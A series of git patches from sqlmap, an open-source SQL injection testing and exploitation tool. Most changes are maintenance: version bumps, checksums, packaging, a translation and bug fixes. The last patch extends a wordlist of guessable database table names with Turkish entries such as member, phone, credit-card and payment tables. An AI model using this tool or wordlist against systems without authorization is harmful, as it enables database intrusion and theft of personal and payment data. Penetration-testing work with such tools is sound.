8de713d1534d8cda171db4ceeb9f4324bcc030bbef21ffeaf60396c6bece31e4 tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index d34dc808f87..7e5b71ad413 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.17" +VERSION = "1.8.7.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index b77eceee161..70fb9727ac9 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -437,7 +437,7 @@ def main(): raise SystemExit elif any(_ in errMsg for _ in (": 9.9.9#",)): - errMsg = "LOL :)" + errMsg = "LOL xD" logger.critical(errMsg) raise SystemExit From fde978c4ff2febd8292cd22a16cab882699c03b4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Jul 2024 16:53:55 +0200 Subject: [PATCH 093/853] Patch for #5746 --- data/txt/sha256sums.txt | 4 ++-- extra/shutils/pypi.sh | 3 ++- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 17b6a75d8ed..8d998f5f20b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -153,7 +153,7 @@ dc35b51f5c9347eda8130106ee46bb051474fc0c5ed101f84abf3e546f729ceb extra/shutils/ fa1a42d189188770e82d536821d694626ca854438dadb9e08e143d3ece8c7e27 extra/shutils/pydiatra.sh 5da7d1c86ca93313477d1deb0d6d4490798a2b63a2dd8729094184625b971e11 extra/shutils/pyflakes.sh c941be05376ba0a99d329e6de60e3b06b3fb261175070da6b1fc073d3afd5281 extra/shutils/pylint.sh -47b75c19b8c3dc6bca9e81918a838bd9261dac9c57366e75c4300c247dec2263 extra/shutils/pypi.sh +a19725f10ff9c5d484cffd8f1bd9348918cc3c4bfdd4ba6fffb42aaf0f5c973c extra/shutils/pypi.sh df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/vulnserver/__init__.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -980d7080a21fbf690f65885e6916be0dcef8e1ba3c1a955a52a00e426eb0e590 lib/core/settings.py +498e7a7b26a9c2e1e14a60de3b0a48d5674102c48db2877e214da2ff7b681841 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index a2d8c3d45c8..240a70eb951 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -38,7 +38,8 @@ setup( }, download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', license='GNU General Public License v2 (GPLv2)', - packages=find_packages(), + packages=['sqlmap'], + package_dir={'sqlmap':'sqlmap'}, include_package_data=True, zip_safe=False, # https://pypi.python.org/pypi?%3Aaction=list_classifiers diff --git a/lib/core/settings.py b/lib/core/settings.py index 7e5b71ad413..c1b5cb99f26 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.7.0" +VERSION = "1.8.7.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d5527b33803e559f3680ed842969c78fa3f54c4b Mon Sep 17 00:00:00 2001 From: gthzee <168825306+gthzee@users.noreply.github.com> Date: Thu, 18 Jul 2024 19:36:59 +0700 Subject: [PATCH 094/853] Update README-id-ID.md (#5751) --- doc/translations/README-id-ID.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index d6089d287df..864938b75f5 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -2,9 +2,9 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap adalah alat bantu proyek sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. +sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. -sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Alat ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. +sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- From 526bec322b13f0d373710c0b26aeaa380e8b750d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Jul 2024 14:46:21 +0200 Subject: [PATCH 095/853] Dummy update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 5 ++++- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8d998f5f20b..03b36eb508a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -95,7 +95,7 @@ f7b6cc0d0fdd0aa5550957db9b125a48f3fb4219bba282f49febc32a7e149e74 doc/translatio 3eac203d3979977b4f4257ed735df6e98ecf6c0dfcd2c42e9fea68137d40f07c doc/translations/README-fr-FR.md 26524b18e5c4a1334a6d0de42f174b948a8c36e95f2ec1f0bc6582a14d02e692 doc/translations/README-gr-GR.md d505142526612a563cc71d6f99e0e3eed779221438047e224d5c36e8750961db doc/translations/README-hr-HR.md -cb24e114a58e7f03c37f0f0ace25c6294b61308b0d60402fe5f6b2a490c40606 doc/translations/README-id-ID.md +a381ff3047aab611cf1d09b7a15a6733773c7c475c7f402ef89e3afe8f0dd151 doc/translations/README-id-ID.md e88d3312a2b3891c746f6e6e57fbbd647946e2d45a5e37aab7948e371531a412 doc/translations/README-in-HI.md 34a6a3a459dbafef1953a189def2ff798e2663db50f7b18699710d31ac0237f8 doc/translations/README-it-IT.md 2120fd640ae5b255619abae539a4bd4a509518daeff0d758bbd61d996871282f doc/translations/README-ja-JP.md @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -498e7a7b26a9c2e1e14a60de3b0a48d5674102c48db2877e214da2ff7b681841 lib/core/settings.py +c4ecc556f990fb23c4bcd074a20d0e7e17a21d3345babe54960123308fe220ab lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c1b5cb99f26..8f7d03ef307 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.7.1" +VERSION = "1.8.7.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -907,6 +907,9 @@ # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" +# For filling in case of dumb push updates +DUMMY_JUNK = "Rie3Shie" + # Printable bytes PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) From 238ca3ccd8f3acc60d27283a4d4e4bc568cde204 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Jul 2024 09:45:26 +0200 Subject: [PATCH 096/853] Fixes #5755 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- thirdparty/colorama/ansitowin32.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 03b36eb508a..b20322f32c7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -c4ecc556f990fb23c4bcd074a20d0e7e17a21d3345babe54960123308fe220ab lib/core/settings.py +7d07ed09b3a1864ef276ec837ba45b7bc94b3971136121ff83b25fef7b1add6f lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -595,7 +595,7 @@ b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8 thirdparty/cha 1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py 162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced thirdparty/colorama/ansi.py -bca8d86f2c754732435b67e9b22de0232b6c57dabeefc8afb24fbe861377a826 thirdparty/colorama/ansitowin32.py +a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3 thirdparty/colorama/ansitowin32.py d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659 thirdparty/colorama/initialise.py f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5 thirdparty/colorama/__init__.py fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874 thirdparty/colorama/win32.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8f7d03ef307..04dfe1b9ea3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.7.2" +VERSION = "1.8.7.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/colorama/ansitowin32.py b/thirdparty/colorama/ansitowin32.py index 2776763cb68..a93bd3802e0 100644 --- a/thirdparty/colorama/ansitowin32.py +++ b/thirdparty/colorama/ansitowin32.py @@ -243,6 +243,6 @@ def convert_osc(self, text): # 0 - change title and icon (we will only change title) # 1 - change icon (we don't support this) # 2 - change title - if params[0] in '02': - winterm.set_title(params[1]) + # if params[0] in '02': + # winterm.set_title(params[1]) return text From 8b5564463177f0b46b7171b460a74b7be42b8cd0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 5 Aug 2024 17:47:30 +0200 Subject: [PATCH 097/853] Fixes #5759 --- data/txt/sha256sums.txt | 4 ++-- lib/core/bigarray.py | 7 ++++++- lib/core/settings.py | 4 ++-- 3 files changed, 10 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b20322f32c7..129923808bd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -164,7 +164,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 46d70b69cc7af0849242da5094a644568d7662a256a63e88ae485985b6dccf12 lib/controller/handler.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py -b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py +c2966ee914b98ba55c0e12b8f76e678245d08ff9b30f63c4456721ec3eff3918 lib/core/bigarray.py f43931f5dbabd11de96267b6f9431025ee2e09e65a14b907c360ce029bbed39f lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -7d07ed09b3a1864ef276ec837ba45b7bc94b3971136121ff83b25fef7b1add6f lib/core/settings.py +6bcf5bb000afdaa376b24553dfacdd195fe38063ab2b53c1bb17692277328298 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 2fabc7087ae..b32bd88a18c 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -65,6 +65,8 @@ class BigArray(list): >>> _ = _ + [1] >>> _[-1] 1 + >>> len([_ for _ in BigArray(xrange(100000))]) + 100000 """ def __init__(self, items=None): @@ -198,7 +200,10 @@ def __repr__(self): def __iter__(self): for i in xrange(len(self)): - yield self[i] + try: + yield self[i] + except IndexError: + break def __len__(self): return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) diff --git a/lib/core/settings.py b/lib/core/settings.py index 04dfe1b9ea3..5308d164e37 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.7.3" +VERSION = "1.8.8.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -460,7 +460,7 @@ SENSITIVE_DATA_REGEX = r"(\s|=)(?P[^\s=]*\b%s\b[^\s]*)\s" # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the inside) -SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile") +SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter") # Maximum number of threads (avoiding connection issues and/or DoS) MAX_NUMBER_OF_THREADS = 10 From edb9a155386685491ec3ae7d2e23a653d5165b60 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 16 Aug 2024 09:49:38 +0200 Subject: [PATCH 098/853] Fixes #5761 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/connect.py | 42 ++++++++++++++++++++--------------------- 3 files changed, 24 insertions(+), 24 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 129923808bd..d7109c64c1a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -6bcf5bb000afdaa376b24553dfacdd195fe38063ab2b53c1bb17692277328298 lib/core/settings.py +5b992bce2d09db97df8261e99c03022c5ebd57d9bf33e0fbf602c00420ce8239 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -210,7 +210,7 @@ b48edf3f30db127b18419f607894d5de46fc949d14c65fdc85ece524207d6dfd lib/parse/html 2395d6d28d6a1e342fccd56bb741080468a777b9b2a5ddd5634df65fe9785cef lib/request/basic.py ead55e936dfc8941e512c8e8a4f644689387f331f4eed97854c558be3e227a91 lib/request/chunkedhandler.py 06128c4e3e0e1fe34618de9d1fd5ee21292953dce4a3416567e200d2dfda79f2 lib/request/comparison.py -45f365239c48f2f6b8adc605b2f33b3522bda6e3248589dae909380434aaa0ad lib/request/connect.py +cfccda9e0e9d0121079ab47e9885071a852a428eaa09c13258923b00438d0b78 lib/request/connect.py 470e96857a7037a2d74b2c4b1c8c5d8379b76ea8cbdb1d8dd4367a7a852fa93c lib/request/direct.py e802cc9099282764da0280172623600b6b9bb9fe1c87f352ade8be7a3f622585 lib/request/dns.py 9922275d3ca79f00f9b9301f4e4d9f1c444dc7ac38de6d50ef253122abae4833 lib/request/httpshandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 5308d164e37..c540e8f4061 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.8.0" +VERSION = "1.8.8.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index bb9a95c63d9..3dfd93f2243 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1367,18 +1367,18 @@ def _randomizeParameter(paramString, randomParameter): for variable in list(variables.keys()): if unsafeVariableNaming(variable) != variable: - value = variables[variable] + entry = variables[variable] del variables[variable] - variables[unsafeVariableNaming(variable)] = value + variables[unsafeVariableNaming(variable)] = entry uri = variables["uri"] cookie = variables["cookie"] - for name, value in variables.items(): - if name != "__builtins__" and originals.get(name, "") != value: - if isinstance(value, (int, float, six.string_types, six.binary_type)): + for name, entry in variables.items(): + if name != "__builtins__" and originals.get(name, "") != entry: + if isinstance(entry, (int, float, six.string_types, six.binary_type)): found = False - value = getUnicode(value, UNICODE_ENCODING) + entry = getUnicode(entry, UNICODE_ENCODING) if kb.postHint == POST_HINT.MULTIPART: boundary = "--%s" % re.search(r"boundary=([^\s]+)", contentType).group(1) @@ -1396,7 +1396,7 @@ def _randomizeParameter(paramString, randomParameter): found = True first = match.group(0) second = part[len(first):] - second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(value), second) + second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(entry), second) parts[i] = "%s%s" % (first, second) post = boundary.join(parts) @@ -1404,10 +1404,10 @@ def _randomizeParameter(paramString, randomParameter): if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): if re.search(r"<%s\b" % re.escape(name), post): found = True - post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(%s\g<3>" % entry.replace('\\', r'\\'), post) elif re.search(r"\b%s>" % re.escape(name), post): found = True - post = re.sub(r"(?s)(\b%s>)(.*?)()" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(r"(?s)(\b%s>)(.*?)()" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) @@ -1417,31 +1417,31 @@ def _randomizeParameter(paramString, randomParameter): match = re.search(r"(%s%s%s:\s*)(\d+|%s[^%s]*%s)" % (quote, re.escape(name), quote, quote, quote, quote), post) if match: found = True - post = post.replace(match.group(0), "%s%s" % (match.group(1), value if value.isdigit() else "%s%s%s" % (match.group(0)[0], value, match.group(0)[0]))) + post = post.replace(match.group(0), "%s%s" % (match.group(1), entry if entry.isdigit() else "%s%s%s" % (match.group(0)[0], entry, match.group(0)[0]))) post = post.replace(BOUNDARY_BACKSLASH_MARKER, "\\%s" % quote) regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) if not found and re.search(regex, (post or "")): found = True - post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post) + post = re.sub(regex, r"\g<1>\g<2>%s" % entry.replace('\\', r'\\'), post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if not found and re.search(regex, (post or "")): found = True - post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) if re.search(regex, (get or "")): found = True - get = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), get) + get = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), get) if re.search(regex, (query or "")): found = True - uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri) + uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), uri) regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True - cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie) + cookie = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), cookie) if not found: if post is not None: @@ -1449,13 +1449,13 @@ def _randomizeParameter(paramString, randomParameter): match = re.search(r"['\"]", post) if match: quote = match.group(0) - post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, value if value.isdigit() else "%s%s%s" % (quote, value, quote))), post) + post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post) else: - post += "%s%s=%s" % (delimiter, name, value) + post += "%s%s=%s" % (delimiter, name, entry) elif get is not None: - get += "%s%s=%s" % (delimiter, name, value) + get += "%s%s=%s" % (delimiter, name, entry) elif cookie is not None: - cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value) + cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, entry) if not conf.skipUrlEncode: get = urlencode(get, limit=True) @@ -1482,8 +1482,8 @@ def _randomizeParameter(paramString, randomParameter): dataToStdout(warnMsg) while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: - value = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload - Connect.queryPage(value=value, content=True, raise404=False) + _ = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload + Connect.queryPage(value=_, content=True, raise404=False) dataToStdout('.') dataToStdout(" (done)\n") From c955b034edbb9a70f9620fdfd58391c30bfb7bd1 Mon Sep 17 00:00:00 2001 From: IRedScarface <68557923+IRedScarface@users.noreply.github.com> Date: Fri, 23 Aug 2024 15:57:50 +0300 Subject: [PATCH 099/853] Update common-tables.txt (#5765) --- data/txt/common-tables.txt | 175 +++++++++++++++++++++++++++++++++++++ 1 file changed, 175 insertions(+) diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index f1db0644ca5..8529ed3a21c 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -3420,6 +3420,181 @@ basvuru basvurular kontak kontaklar +kisi +kisiler +uye +uyeler +kayıt +kayıtlar +tel +telefon +telefonlar +numaralar +numara +kart +kartlar +kredi +krediler +kredikartı +fiyat +fiyatlar +odeme +odemeler +kategoriler +tbl_Uye +xml_kategoriler +tbl_siparis +tbl_googlemap +tbl_ilce +tbl_yardim +tbl_Resim +tbl_anket +tbl_Rapor +tbl_statsvisit +tbl_ticket +tbl_Cesit +tbl_xml +tbl_Cinsiyet +xml_urunler_temp +tbl_takvim +tbl_altkategori +tbl_mesaj +tbl_Haber +tbl_AdresTemp +tbl_Firma +tbl_Medya +xml_urunlerbirim +tbl_Yardim +tbl_medya +tbl_Video +xml_markalar_transfer +tbl_adrestemp +tbl_online +tbl_sehir +tbl_resim +tbl_Gorsel +tbl_doviz +tbl_gorsel +tbl_kampanya +tbl_Blog +tbl_Banners +tbl_koleksiyon +tbl_Galeri +tbl_Kampanya +tbl_Favori +tbl_sss +tbl_Banner +tbl_Faq +xml_markalar_temp +tbl_faq +tbl_Personel +tbl_Seo +tbl_adres +tbl_ayar +tbl_metin +tbl_AltKategori +tbl_kategori +tbl_Marka +tbl_blogkategori +tbl_ulke +tbl_sepetold +tbl_yorum +tbl_Fiyat +tbl_Reklam +tbl_Kategori +tbl_Yorum +tbl_semt +tbl_Tedarikci +xml_kampanyakategori +tbl_ozelgun +tbl_uyexml +tbl_rapor +tbl_seo +tbl_Indirim +tbl_Ilce +tbl_bulten +tbl_video +tbl_Ayar +tbl_fatura +tbl_cinsiyet +tbl_reklam +tbl_sliders +tbl_KDV +tbl_uye_img +tbl_siparisid +tbl_BlogKategori +tbl_Yonetici +tbl_kdv +tbl_Online +tbl_temsilci +tbl_Dil +tbl_banners +tbl_Mesaj 